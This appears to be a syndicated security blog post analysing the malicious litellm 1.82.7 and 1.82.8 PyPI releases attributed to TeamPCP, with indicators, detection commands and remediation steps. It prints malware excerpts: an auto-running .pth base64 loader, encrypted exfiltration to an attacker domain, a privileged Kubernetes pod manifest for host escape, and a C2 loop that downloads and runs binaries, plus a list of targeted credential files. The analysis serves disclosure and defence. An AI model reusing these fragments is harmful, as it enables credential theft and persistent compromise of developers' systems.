News

TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer

  • None--securityboulevard.com
  • published date: 2026-03-24 00:00:00 UTC

None

<p><strong>Last Updated:</strong> March 24, 2026 – 1:15 PM ET</p><p>Part 1 covered CanisterWorm, the self-spreading npm worm. This post covers the next wave: a malicious LiteLLM PyPI package carrying the most capable credential stealer TeamPCP has deployed yet.</p><p>On March 24, 2026, two versions of <code>litellm</code>, one of the most widely used Python libraries for working with AI language model APIs, were published to PyPI carrying a hidden credential stealer. Versions <code>1.82.7</code> and <code>1.82.8</code> never appeared on the official LiteLLM GitHub repository. They were published directly to PyPI using credentials stolen from a maintainer account, which TeamPCP obtained as part of their ongoing cascade of supply chain compromises.</p><h2 class="wp-block-heading" id="how-teampcp-got-into-litellm"><strong>How TeamPCP got into LiteLLM</strong></h2><p>To understand this attack you need to follow the credential chain back four days.</p><p>On March 19, TeamPCP force-pushed malicious commits over 75 of 76 version tags of <code>aquasecurity/trivy-action</code> and poisoned Trivy release <code>v0.69.4</code>. Any CI/CD pipeline that ran Trivy that day had its secrets harvested and exfiltrated to the attacker.</p><p>LiteLLM’s CI pipeline (<code>ci_cd/security_scans.sh</code>) installed Trivy via apt without pinning a version. When the pipeline ran on March 23, it pulled the poisoned Trivy build. The stealer inside Trivy ran inside LiteLLM’s CI environment, collected everything, including <code>PYPI_PUBLISH_PASSWORD</code> for the krrishdholakia maintainer account, and shipped it to <code>checkmarx.zone</code>.</p><p>On March 23, TeamPCP also compromised <code>checkmarx/kics-github-action</code> (all 35 tags hijacked) and <code>checkmarx/ast-github-action</code> (version 2.3.28 poisoned), expanding their credential collection to every pipeline that used Checkmarx scanning. The litellm.cloud domain was registered the same day.</p><p>By March 24 they had everything they needed. Two malicious LiteLLM versions hit PyPI within hours of each other.</p><h2 class="wp-block-heading" id="what-changed-between-1-82-7-and-1-82-8"><strong>What changed between 1.82.7 and 1.82.8</strong></h2><p>The two versions represent a deliberate escalation in how the payload triggers.</p><p><strong>Version 1.82.7</strong> hid the malicious code inside <code>litellm/proxy/proxy_server.py</code>. The payload only ran when a developer or application explicitly imported <code>litellm.proxy</code>, a common path when running the LiteLLM proxy server, but not universal.</p><p><strong>Version 1.82.8</strong> moved the same payload into a file named <code>litellm_init.pth</code> placed in the package’s site-packages directory. This changes everything. Python’s site module processes every .pth file in site-packages on startup, executing any line that begins with <code>import</code>. No import statement is needed in application code. No user interaction. <strong>The payload fires every time Python starts on the infected machine</strong>, regardless of whether LiteLLM is ever used.</p><p>The upgrade from a module-level hook to a <code>.pth</code>-level hook is significant: it means the malware persists and re-runs even after the malicious package is uninstalled, as long as the <code>.pth</code> file remains in site-packages.</p><h2 class="wp-block-heading" id="technical-analysis"><strong>Technical analysis</strong></h2><h3 class="wp-block-heading" id="three-layers-one-goal"><strong>Three layers, one goal</strong></h3><p>The payload uses three nested layers of base64 encoding to obscure its code from static scanners.</p><pre class="wp-block-code"><code>import os, subprocess, sys; subprocess.Popen([sys.executable, "-c",   "import base64; exec(base64.b64decode('&lt;blob&gt;'))"],   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)</code></pre><p><sub><strong>Figure 1:</strong> Outer <code>.pth</code> execution — fires on every Python startup with no user action</sub></p><p>Decoding the blob reveals the orchestrator script, which holds an embedded RSA-2048 public key and a second base64-encoded payload (the harvester). The orchestrator runs the harvester as a subprocess, captures everything it prints to stdout, encrypts the output, and ships it out.</p><pre class="wp-block-code"><code>subprocess.run(["openssl", "rand", "-out", sk, "32"]) subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected,     "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"]) subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin",     "-inkey", pk, "-in", sk, "-out", ek,     "-pkeyopt", "rsa_padding_mode:oaep"]) # bundles as tpcp.tar.gz, POSTs to models.litellm.cloud</code></pre><p><sub><strong>Figure 2:</strong> Encryption and exfiltration pipeline — output is encrypted before leaving the machine</sub></p><p>The data is AES-256-CBC encrypted with a random session key. The session key is RSA-OAEP encrypted with the attacker’s public key. Only the attacker can decrypt what was stolen. The archive is named <code>tpcp.tar.gz</code>, a direct self-reference by TeamPCP.</p><h3 class="wp-block-heading" id="the-credential-harvester"><strong>The credential harvester</strong></h3><p>The second-stage script is an exhaustive credential collector. In plain terms: it reads every file on the system that could contain a password, token, or private key, and sends all of it.</p><p>It specifically targets:</p><ul class="wp-block-list"> <li><strong>SSH keys</strong> – all key types, authorized_keys, known_hosts, host keys from<code> /etc/ssh</code></li> <li><strong>AWS credentials</strong> – environment variables, <code>~/.aws/credentials</code>, and live queries to the EC2 Instance Metadata Service (IMDS) to steal IAM role credentials</li> <li><strong>Kubernetes</strong> – service account tokens, <code>~/.kube/config</code>, all secrets across all namespaces via the K8s API</li> <li><strong>GCP and Azure</strong> – application default credentials, <code>~/.azure</code> directory contents</li> <li><strong>Docker</strong> – <code>config.json</code> including registry tokens, Kaniko build credentials</li> <li><strong>npm tokens</strong> – <code>~/.npmrc</code> (connecting directly to the npm side of this campaign)</li> <li><strong>Database configs</strong> – <code>.pgpass, .my.cnf, redis.conf, .mongorc.js</code></li> <li><strong>Environment files</strong> – <code>.env, .env.production, .env.staging</code> searched recursively to depth 6 across <code>/home, /opt, /srv, /var/www, /app, /data, /tmp</code></li> <li><strong>Cryptocurrency wallets</strong> — Bitcoin, Ethereum keystores, Solana validator keypairs, Cardano signing keys, Zcash, Ripple, Litecoin, Dogecoin</li> <li><strong>TLS/SSL private keys</strong> — <code>*.pem, *.key, *.p12, *.pfx</code>, Let’s Encrypt certs</li> <li><strong>CI/CD secrets</strong> — <code>terraform.tfvars, terraform.tfstate</code>, Jenkinsfile, <code>.travis.yml, .gitlab-ci.yml, .drone.yml</code></li> <li><strong>System information</strong> — hostname, username, full <code>printenv, /etc/passwd, /etc/shadow</code>, SSH login history</li> </ul><p>It also queries the AWS Secrets Manager and SSM Parameter Store directly using any AWS credentials it finds.</p><h3 class="wp-block-heading" id="kubernetes-cluster-escape"><strong>Kubernetes cluster escape</strong></h3><p>If the infected machine is running inside a Kubernetes pod with a service account token at <code>/var/run/secrets/kubernetes.io/serviceaccount/token</code>, the harvester escalates:</p><pre class="wp-block-code"><code>pod_manifest = {     'spec': {         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}]     } } k8s_post('/api/v1/namespaces/kube-system/pods', pod_manifest)</code></pre><p><sub><strong>Figure 3:</strong> Privileged pod manifest deployed to every cluster node, mounts the host filesystem via chroot</sub></p><p>It enumerates every node in the cluster and deploys this pod to each one. The pod mounts <code>/</code> from the host and uses <code>chroot</code> to install the backdoor directly onto the underlying node, outside the container boundary.</p><h3 class="wp-block-heading" id="persistence-backdoor"><strong>Persistence backdoor</strong></h3><p>After exfiltration, the harvester drops a polling backdoor to <code>~/.config/sysmon/sysmon.py</code> and registers it as a systemd user service (<code>sysmon.service</code>). The backdoor checks <code>https://checkmarx.zone/raw</code> every 50 minutes for a URL, downloads whatever binary it points to, writes it to <code>/tmp/pglog</code>, and executes it.</p><pre class="wp-block-code"><code>C_URL   = "https://checkmarx.zone/raw" TARGET  = "/tmp/pglog" STATE   = "/tmp/.pg_state" time.sleep(300)   # 5-minute sandbox evasion delay while True:     l = g()       # fetch URL from C2     if l and l != prev and "youtube.com" not in l:         e(l)      # download and execute     time.sleep(3000)</code></pre><p><sub><strong>Figure 4:</strong> C2 polling loop with YouTube kill-switch — identical logic to CanisterWorm’s pgmon backdoor</sub></p><p>The <code>youtube.com</code> kill-switch, the <code>/tmp/pglog</code> target path, the <code>/tmp/.pg_state</code> state file, and the 300/3000 second timing are <strong>identical</strong> to the backdoor deployed by CanisterWorm on npm. This is the same codebase, the same actor.</p><h2 class="wp-block-heading" id="attribution-same-actor-bigger-payload"><strong>Attribution: Same actor, bigger payload</strong></h2><p>The connection to TeamPCP and CanisterWorm is direct:</p><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Indicator</strong></th> <th><strong>This malware</strong></th> <th><strong>CanisterWorm (npm)</strong></th> </tr> </thead> <tbody> <tr> <td>Exfil archive</td> <td><code>tpcp.tar.gz</code></td> <td>actor name “TeamPCP”</td> </tr> <tr> <td>C2 state file</td> <td><code>/tmp/.pg_state</code></td> <td><code>/tmp/.pg_state</code></td> </tr> <tr> <td>C2 payload target</td> <td><code>/tmp/pglog</code></td> <td><code>/tmp/pglog</code></td> </tr> <tr> <td>Backdoor poll interval</td> <td>3000 seconds</td> <td>3000 seconds</td> </tr> <tr> <td>Startup delay</td> <td>300 seconds</td> <td>300 seconds</td> </tr> <tr> <td>Kill-switch</td> <td><code>youtube.com not in url</code></td> <td><code>youtube.com not in url</code></td> </tr> <tr> <td>Persistence mechanism</td> <td>systemd user service</td> <td>systemd user service</td> </tr> </tbody> </table> </figure><p>The LiteLLM payload is a significant capability upgrade over CanisterWorm. Where CanisterWorm’s Python backdoor slot held a placeholder (<code>hello123</code>), this is the real thing, a production-grade stealer with AWS API integration, K8s cluster escape, cryptocurrency wallet enumeration, and RSA-encrypted exfiltration.</p><h2 class="wp-block-heading" id="indicators-of-compromise"><strong>Indicators of compromise</strong></h2><h3 class="wp-block-heading" id="network"><strong>Network</strong></h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Indicator</strong></th> <th><strong>Purpose</strong></th> </tr> </thead> <tbody> <tr> <td><code>hxxps://models.litellm[.]cloud/</code></td> <td>Exfiltration endpoint</td> </tr> <tr> <td><code>hxxps://checkmarx[.]zone/raw</code></td> <td>C2 polling for payload URL</td> </tr> <tr> <td><code>hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/</code></td> <td>AWS IMDS credential theft</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="filesystem"><strong>Filesystem</strong></h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Path</strong></th> <th><strong>Description</strong></th> </tr> </thead> <tbody> <tr> <td><code>~/.config/sysmon/sysmon.py</code></td> <td>Persistent C2 backdoor</td> </tr> <tr> <td><code>~/.config/systemd/user/sysmon.service</code></td> <td>Systemd persistence unit</td> </tr> <tr> <td><code>/tmp/pglog</code></td> <td>Downloaded payload binary</td> </tr> <tr> <td><code>/tmp/.pg_state</code></td> <td>C2 state tracking</td> </tr> <tr> <td><code>litellm_init.pth</code> in site-packages</td> <td>Malicious <code>.pth</code> loader (v1.82.8)</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="kubernetes"><strong>Kubernetes</strong></h3><ul class="wp-block-list"> <li>Pods named <code>node-setup-*</code> in namespace <code>kube-system</code></li> <li>Created with <code>hostPID: true, hostNetwork: true, privileged: true</code></li> </ul><h3 class="wp-block-heading" id="cryptographic"><strong>Cryptographic</strong></h3><ul class="wp-block-list"> <li>RSA-2048 attacker public key fingerprint (embedded in payload): <code>vahaZDo8mucujrT15ry+08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0...</code></li> </ul><h2 class="wp-block-heading" id="detection"><strong>Detection</strong></h2><h3 class="wp-block-heading" id="check-for-active-infection">Check for active infection</h3><pre class="wp-block-code"><code># Check for backdoor service systemctl --user status sysmon.service # Check for backdoor script and C2 artifacts ls -la ~/.config/sysmon/sysmon.py ls -la ~/.config/systemd/user/sysmon.service ls -la /tmp/pglog /tmp/.pg_state # Check for malicious .pth in all Python environments find $(python3 -c "import site; print('\n'.join(site.getsitepackages()))") \ -name "*.pth" | xargs grep -l "subprocess.Popen" 2&gt;/dev/null # Check for K8s escape pods kubectl get pods -n kube-system | grep node-setup</code></pre><p><sub><strong>Figure 5:</strong> Detection commands for the sysmon backdoor and associated artifacts</sub></p><h3 class="wp-block-heading" id="remove-the-backdoor"><strong>Remove the backdoor</strong></h3><pre class="wp-block-code"><code>systemctl --user stop sysmon.service systemctl --user disable sysmon.service rm -f ~/.config/systemd/user/sysmon.service rm -rf ~/.config/sysmon/ rm -f /tmp/pglog /tmp/.pg_state systemctl --user daemon-reload # Remove malicious .pth file pip uninstall litellm # also manually verify .pth is gone from site-packages</code></pre><p><sub><strong>Figure 6:</strong> Remediation steps for infected hosts</sub></p><h3 class="wp-block-heading" id="rotate-credentials-immediately"><strong>Rotate credentials immediately</strong></h3><p>Any machine that had Python start with <code>litellm</code> 1.82.7 or 1.82.8 installed must be treated as fully compromised. Rotate: AWS IAM keys, SSH keys, npm tokens, database passwords, Kubernetes service account tokens, Docker registry credentials, and any cloud provider credentials present in environment variables or config files.</p><h2 class="wp-block-heading" id="conclusion"><strong>Conclusion</strong></h2><p>The LiteLLM attack is the third major wave in TeamPCP’s March 2026 campaign. Trivy provided initial access. CanisterWorm spread through the npm ecosystem. Now a malicious PyPI package reaches a different but overlapping audience: AI and ML developers who use LiteLLM to integrate language models into applications. These pipelines routinely have access to cloud credentials, model API keys, and production infrastructure.</p><p>The upgrade from npm to PyPI, and from module-level hooks to <code>.pth</code> auto-execution, shows an actor that is actively evolving their delivery mechanisms across ecosystems while keeping the same core payload and infrastructure.<br>PyPI has quarantined the affected versions. If you are running LiteLLM, verify your installed version (<code>pip show litellm</code>) and upgrade to a clean release. If you were running 1.82.7 or 1.82.8 at any point, assume compromise and rotate all credentials.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/teampcp-supply-chain-attack-part-2-litellm-pypi-credential-stealer/" data-a2a-title="TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fteampcp-supply-chain-attack-part-2-litellm-pypi-credential-stealer%2F&amp;linkname=TeamPCP%20Supply%20Chain%20Attack%20Part%202%3A%20LiteLLM%20PyPI%20Credential%20Stealer" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fteampcp-supply-chain-attack-part-2-litellm-pypi-credential-stealer%2F&amp;linkname=TeamPCP%20Supply%20Chain%20Attack%20Part%202%3A%20LiteLLM%20PyPI%20Credential%20Stealer" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fteampcp-supply-chain-attack-part-2-litellm-pypi-credential-stealer%2F&amp;linkname=TeamPCP%20Supply%20Chain%20Attack%20Part%202%3A%20LiteLLM%20PyPI%20Credential%20Stealer" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fteampcp-supply-chain-attack-part-2-litellm-pypi-credential-stealer%2F&amp;linkname=TeamPCP%20Supply%20Chain%20Attack%20Part%202%3A%20LiteLLM%20PyPI%20Credential%20Stealer" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fteampcp-supply-chain-attack-part-2-litellm-pypi-credential-stealer%2F&amp;linkname=TeamPCP%20Supply%20Chain%20Attack%20Part%202%3A%20LiteLLM%20PyPI%20Credential%20Stealer" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.mend.io">Mend</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Tom Abai">Tom Abai</a>. Read the original post at: <a href="https://www.mend.io/blog/teampcp-supply-chain-series-part-2/">https://www.mend.io/blog/teampcp-supply-chain-series-part-2/</a> </p>